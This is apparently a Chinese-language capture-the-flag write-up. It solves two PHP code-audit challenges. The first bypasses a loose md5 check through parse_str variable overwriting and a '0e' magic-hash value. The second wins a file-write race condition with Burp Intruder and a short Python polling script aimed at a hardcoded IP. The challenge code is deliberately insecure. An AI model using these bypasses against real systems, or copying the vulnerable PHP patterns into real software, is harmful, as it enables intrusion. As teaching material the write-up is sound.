一进来就是PHP代码审计。
<?php
include"url.php";
highlight_file(__FILE__);
$a[0] = 'wenhua3104';
$id = $_GET['id']; //传入ID参数
@parse_str($id); //将变量ID进行参数化。
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $url;
}
第一点就是理解parse_str()
函数
第二点就得知道哪些参数的md5
值和md5('QNKCDZO')
是相等的。这个百度一下就行了。
因为结果是这种科学计数法的,只要也找到结果为0e
开头的后面全为数字的,弱类型比较就会成立。
这样就可以了,但是我也踩了个坑,"a[0]=s224534898e"
用双引号就不行,但是自己在本地测试是可以通过的,原因未知。。。
点击链接后进行跳转到新的界面。
先以为搞出来就结束了,没想到又是一次代码审计,不过最近一直在写php,这个就简单了。
<?php
highlight_file(__FILE__);
include"flag.php";
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777, true);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
$content = $flag;
file_put_contents("$savepath" . $_GET['filename'], $content); //把flag写到刚刚创建的文件中。
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
echo $msg;
usleep(100000); //0.1秒的时间就会将content内容进行改变
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
说白了就是条件竞争
。通过burpsuite
的intruder
不停的提交此表单,然后写个py
即可。
文件名为11
,前面的随机数为自己的IP地址决定的。
提交后拦截发送到intruder
,参数设为content
,内容无所谓,只要让他不停的发送即可。
py
如下,很简单的脚本。
import requests
url = "http://39.96.166.21:5001/uploads/b895cfab6ad813e2cba5234e31b4e746ae203049/11"
while True:
html = requests.get(url)
if "slow" not in html.text:
print(html.text)
break
运行了以后得出结果